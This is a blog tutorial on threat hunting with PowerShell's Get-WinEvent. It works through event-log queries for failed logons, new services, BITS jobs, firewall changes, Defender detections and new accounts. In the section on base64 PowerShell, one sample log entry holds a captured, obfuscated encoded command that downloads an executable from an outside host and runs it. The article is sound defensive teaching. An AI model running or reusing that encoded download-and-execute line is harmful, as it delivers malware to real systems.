In part 1, we looked at the PowerShell command to work with the event log: Get-WinEvent. We enumerating event log sources on Windows, and retrieved data from the event log using a filter hash table. We concluded with an example of using Get-WinEvent with a date/time range to build a timeline of events when investigating an incident.
In this article we'll look at 10 practical examples of identifying threats using Get-WinEvent. Threats are constantly changing so there will never be an exhaustive list of analysis techniques, but I hope these examples help you in your investigations and maybe inspire new threat hunting opportunities using the Windows event log.
Excessive Failed Logins
Event ID 4625 in the Security event log is An account failed to log on. Lots of logon failed events may indicate password guessing or password spray attacks. We can build a filter hash table to quickly return these entries:
PS C:\WINDOWS\system32> Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4625 } ProviderName: Microsoft-Windows-Security-Auditing TimeCreated Id LevelDisplayName Message ----------- -- ---------------- ------- 7/12/2022 11:54:52 PM 4625 Information An account failed to log on.... 7/12/2022 11:54:52 PM 4625 Information An account failed to log on.... 7/12/2022 11:54:52 PM 4625 Information An account failed to log on.... 7/12/2022 11:54:52 PM 4625 Information An account failed to log on.... ...
This works to see the events, but we might want to see the quantity of logon failed messages. By adding the PowerShell command within parenthesis, we can retrieve the array properties for the returned objects, including count:
PS C:\WINDOWS\system32> (Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4625 }).Count 36 PS C:\WINDOWS\system32>
You specify the threshold for what you think would be suspicious in your environment. This check is best implemented by adding a date/time range to the query as well, like we saw in part 1.
The Jake Williams List
We can also look for a list of specific event IDs that can indicate unauthorized access attempts including 4624 (an account was successfully logged on), 4634 (an account was logged off), 4672 (special privileges assigned to new logon), 4732 (a member was added to a security-enabled local group), 4648 (a logon was attempted using explicit credentials), 4688 (a new process has been created), and 4768 (a Kerberos authentication ticket (TGT) was requested). I keep this PowerShell query in a note labeled Jake Williams after seeing his excellent talk Seeing the Forest Through the Trees – Foundations of Event Log Analysis:
PS C:\WINDOWS\system32> Get-WinEvent -FilterHashTable @{ LogName = 'Security'; Id=4624,4634,4672,4732,4648,4688,4768 } | Format-List TimeCreated : 7/13/2022 12:37:06 AM ProviderName : Microsoft-Windows-Security-Auditing Id : 4672 Message : Special privileges assigned to new logon. Subject: Security ID: S-1-5-18 Account Name: SYSTEM Account Domain: NT AUTHORITY Logon ID: 0x3E7 Privileges: SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
In this example, the event ID 4672 indicates that special privileges (e.g., admin privileges) were assigned to a new logon. Look for event ID 4624 that accompanies this event (with the same TimeCreated date/time) to identify the account invoking this access and the associated network information (workstation name, source network address) to identify possible lateral movement within the environment.
Not all of these events will be malicious; you'll need to understand what is normal in your environment. See my article on Threat Hunting with PowerShell Differential Analysis to quickly identify deviations from normal.
Only Show Me the Criticals
Get-WinEvent can filter using a severity level indicator, one of 6 numeric values:
Log Level | Number |
---|---|
Comments (Verbose) | 5 |
Information | 4 |
Warning | 3 |
Error | 2 |
Critical | 1 |
LogAlways | 0 |
If you only want to see logging information of a specific log level, add the Level attribute to the filter hash table:
PS C:\WINDOWS\system32> Get-WinEvent -FilterHashTable @{ LogName = 'System'; Level = 1 } |Format-List TimeCreated : 7/13/2022 12:11:41 AM ProviderName : Microsoft-Windows-Kernel-Power Id : 41 Message : The system has rebooted without cleanly shutting down first. This error could be caused if the system stopped responding, crashed, or lost power unexpectedly.
NOTE: Critical events are only generated by the Windows system itself, such as a BSOD.
AppLocker Denied
AppLocker uses event ID 8004 in the Microsoft-Windows-AppLocker/EXE and DLL log to record programs that are prevented from running. There's lots of ways to bypass AppLocker, but these events might be a good indicator of malicious activity prior to defense evasion:
PS C:\WINDOWS\System32> Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-AppLocker/EXE and DLL'; Id=8004 } | Format-List -Property TimeCreated,Message TimeCreated : 7/12/2022 12:36:06 PM Message : %OSDRIVE%\USERS\SEC504\APPDATA\LOCAL\TEMP\CALCACHE.EXE was prevented from running. TimeCreated : 7/12/2022 11:37:45 AM Message : %OSDRIVE%\TOOLS\SHARPVIEW.EXE was prevented from running. TimeCreated : 7/12/2022 11:37:45 AM Message : %OSDRIVE%\TOOLS\SHARPVIEW.EXE was prevented from running.
New Service Created
New services are a common persistence method on Windows. Fortunately, creating a new service is logged by default using event ID 7045 in the System log:
PS C:\WINDOWS\System32> Get-WinEvent -FilterHashtable @{ LogName='System'; Id='7045';} | Format-List TimeCreated,Message TimeCreated : 7/12/2022 12:36:06 PM Message : A service was installed in the system. Service Name: Dynamics Service File Name: C:\Tools\nssm.exe Service Type: user mode service Service Start Type: auto start Service Account: LocalSystem
BITS Jobs
Windows Background Intelligent Transfer Service (BITS) jobs are a legitimate way to transfer files, but are often exploited by attackers to upload or download files. BITS jobs are recorded in Microsoft-Windows-Bits-Client/Operational with event ID 59:
PS C:\WINDOWS\System32> Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Bits-Client/Operational'; Id='59'} | Format-List TimeCreated,Message TimeCreated : 7/13/2022 1:18:15 AM Message : BITS started the C:\Users\Sec504\AppData\Local\Temp\{B3C27651-579B-455E-8B0D-4441DBAECA2C}-103.0.5060.114_102 .0.5005.115_chrome_updater.exe transfer job that is associated with the http://edgedl.me.gvt1.com/edgedl/rele ase2/chrome/acd5g6744td43h2xionzuaxlaheq_103.0.5060.114/103.0.5060.114_102.0.5005.115_chrome_updater.exe URL. TimeCreated : 7/13/2022 1:15:59 AM Message : BITS started the BITS Transfer transfer job that is associated with the https://www.willhackforsushi.com/bitfit.exe URL. TimeCreated : 7/13/2022 1:15:44 AM Message : BITS started the Font Download transfer job that is associated with the https://fs.microsoft.com/fs/windows/config.json URL.
Changes to the Windows Firewall
An attacker may modify the Windows Firewall settings to permit traffic for a specific program. This is recorded in the Microsoft-Windows-Windows Firewall With Advanced Security/Firewall log as event ID 2004 (event ID 2006 is a deleted firewall rule).
PS C:\WINDOWS\System32> Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Windows Firewall With Advanced Security/Firewall'; Id=2004,2006 } | Format-List TimeCreated : 7/13/2022 12:46:11 AM ProviderName : Microsoft-Windows-Windows Firewall With Advanced Security Id : 2004 Message : A rule has been added to the Windows Defender Firewall exception list. Added Rule: Rule ID: {832669FD-1FAF-426C-872F-8E2B4E41AB2F} Rule Name: ApacheBench command line utility Origin: Local Active: No Direction: Inbound Profiles: Domain Action: Allow Application Path: C:\Tools\calcache.exe Service Name: Protocol: UDP Security Options: None Edge Traversal: None Modifying User: S-1-5-21-2977773840-2930198165-1551093962-1000 Modifying Application: C:\Windows\System32\dllhost.exe
NOTE: The default rule name will be the executable description; here we see ApacheBench command line utility, the default for Metasploit Meterpreter.
Windows Defender Quarantine
Windows Defender quarantine events are recorded in Microsoft-Windows-Windows Defender/Operational. Look for anything where Data='Severe' as a hash table attribute:
PS C:\WINDOWS\System32> Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Windows Defender/Operational'; Data='Severe'} | Format-List TimeCreated,Message TimeCreated : 7/13/2022 1:22:19 AM Message : Microsoft Defender Antivirus has detected malware or other potentially unwanted software. For more information please see the following: https://go.microsoft.com/fwlink/?linkid=37020&name=Trojan:Win32/Meterpreter.O&threatid=2147729928&enterprise= 0 Name: Trojan:Win32/Meterpreter.O ID: 2147729928 Severity: Severe Category: Trojan Path: file:_C:\Users\Sec504\AppData\Local\Temp\calcache.exe; process:_pid:6808,ProcessStart:133021447586399451; regkey:_HKCU@S-1-5-21-2977773840-2930198165-1551093962-100 0\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\\Calcache; runkey:_HKCU@S-1-5-21-2977773840-2930198165-155109 3962-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\\Calcache Detection Origin: Local machine Detection Type: Concrete Detection Source: User User: SEC504STUDENT\Sec504 Process Name: C:\Users\Sec504\AppData\Local\Temp\calcache.exe Security intelligence Version: AV: 1.367.1829.0, AS: 1.367.1829.0, NIS: 0.0.0.0 Engine Version: AM: 1.1.19200.6, NIS: 0.0.0.0
PowerShell Base64 Command Lines
The Microsoft-Windows-PowerShell/Operational log captures the first invocation of a PowerShell script including the user executing the script, the date/time of execution, and the contents of the script itself with event ID 4104. The script invocation can come in the form of a script on disk, scripts executed through PowerShell ISE, scripts specified on the command line, or scripts executed through custom PowerShell components.
Only the first invocation of the script is captured, to save logging storage space.
We can use Get-WinEvent to identify the script blocks executed on the local system, looking for unusual behavior, such as long base64-encoded commands. To do this we need to use a regular expression: a language to match patterns of text. Here is a basic regular expression to match base64 text that that is 200 characters or more in length:
[A-Za-z0-9+/=]{200}
Let's break down this regular expression, step-by-step:
- [: Start a list
- A-Za-z0-9+/=: Within the list, match any of these characters: A-Z, a-z, 0-9, +, /, =
- ]: End the list
- {200}: Quantifier; match 200 characters in the preceding list
TIP: A great way to experiment with (and create) regular expressions is regex101.com, a site that lets you visually identify matches in sample data for a regular expression.
PowerShell supports matching with regular expressions using the Where-Object -Match parameter:
PS C:\WINDOWS\System32> Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-PowerShell/Operational'; Id='4104';} | Where-object -Property Message -Match "[A-Za-z0-9+/=]{200}" | Format-List -Property Message Message : Creating Scriptblock text (1 of 1): poWERShElL.Exe -ExECutioNPolicy bYpAsS -NOPrOFiLe -WindOwsTyLe HiddEN -enCodEdCoMMANd IAAoAG4ARQB3AC0AbwBiAGoAZQB jAFQAIABTAHkAUwBUAGUAbQAuAE4AZQB0AC4AVwBFAGIAQwBsAGkARQBOAHQAKQAuAEQAbwB3AE4ATABvAGEARABGAEkAbABFACgAIAAdIGgAdAB0 AHAAcwA6AC8ALwBhAHIAaQBoAGEAbgB0AHQAcgBhAGQAZQByAHMAbgBnAHAALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AUwBjAGEAbgBfADIALgBlA HgAZQAdICAALAAgAB0gJABlAG4AdgA6AFQARQBtAFAAXABvAHUAdABwAHUAdAAuAGUAeABlAB0gIAApACAAOwAgAGkAbgBWAG8AawBFAC0ARQB4AF AAUgBlAHMAUwBJAG8ATgAgAB0gJABFAE4AdgA6AHQARQBNAFAAXABvAHUAdABwAHUAdAAuAGUAeABlAB0g ScriptBlock ID: 9998ff14-4851-45e4-8aca-8b08753a2f42 Path:
Filter Events by Username
One useful query is to look for Security event log ID 4720, a user account was created:
PS C:\WINDOWS\System32> Get-WinEvent -FilterHashtable @{ LogName='Security'; ID=4720 } | Format-List -Property TimeCreated, Message TimeCreated : 7/13/2022 11:08:48 AM Message : A user account was created. Subject: Security ID: S-1-5-21-2977773840-2930198165-1551093962-1000 Account Name: Sec504 Account Domain: SEC504STUDENT Logon ID: 0x74530 New Account: Security ID: S-1-5-21-2977773840-2930198165-1551093962-1315 Account Name: assetmgr Account Domain: SEC504STUDENT Attributes: SAM Account Name: assetmgr Display Name: <value not set> User Principal Name: - Home Directory: <value not set> Home Drive: <value not set> Script Path: <value not set> Profile Path: <value not set> User Workstations: <value not set> Password Last Set: <never> Account Expires: <never> Primary Group ID: 513 Allowed To Delegate To: - Old UAC Value: 0x0 New UAC Value: 0x15 User Account Control: Account Disabled 'Password Not Required' - Enabled 'Normal Account' - Enabled User Parameters: <value not set> SID History: - Logon Hours: All Additional Information: Privileges -
In this example we see that the account name Sec504 created a new local user account assetmgr. This might be a threat to investigate, but it could also be a normal event. Adding new user accounts isn't abnormal, so we might want to follow-up and see what we can learn about the assetmgr account.
You could use a date/time range, but that will include events other than those logged with the username assetmgr. What we want is the ability to filter events with a specific username.
While Get-WinEvent returns a property UserId, it is almost always blank. The username information is populated in the Message property. You could use the PowerShell pipeline to search for the string assetmgr anywhere in the Message property, but that's going to be slow. Fortunately there is a better option: -FilterXPath.
The Get-WinEvent -FilterXPath argument allows you to specify an XPath filter instead of a filter hash table. XPath filters are a little more complex, but they allow us to access the data stored in XML format within the event log record. Here's an example of using -FilterXPath to search for other event logs where the username is assetmgr:
PS C:\WINDOWS\System32> Get-WinEvent -LogName Security -FilterXPath "*[EventData[Data[@Name='TargetUserName']='assetmgr']]" | Select-Object TimeCreated, Id, Message TimeCreated Id Message ----------- -- ------- 7/13/2022 11:10:23 AM 4624 An account was successfully logged on.... 7/13/2022 11:09:42 AM 4634 An account was logged off.... 7/13/2022 11:09:42 AM 4624 An account was successfully logged on.... 7/13/2022 11:08:48 AM 4724 An attempt was made to reset an account's password.... 7/13/2022 11:08:48 AM 4738 A user account was changed.... 7/13/2022 11:08:48 AM 4722 A user account was enabled.... 7/13/2022 11:08:48 AM 4720 A user account was created....
Conclusion
In this article we looked at 10 techniques for threat hunting with Windows event logs and PowerShell's Get-WinEvent cmdlet. Next up in this series will be using a third-party function to make the data in the Message property much more accessible without awkward XPath filters. Stay tuned!
-Joshua Wright
Return to Getting Started With PowerShell
Joshua Wright is the author of SANS SEC504: Hacker Tools, Techniques, and Incident Handling, a faculty fellow for the SANS Institute, and a senior technical director at Counter Hack.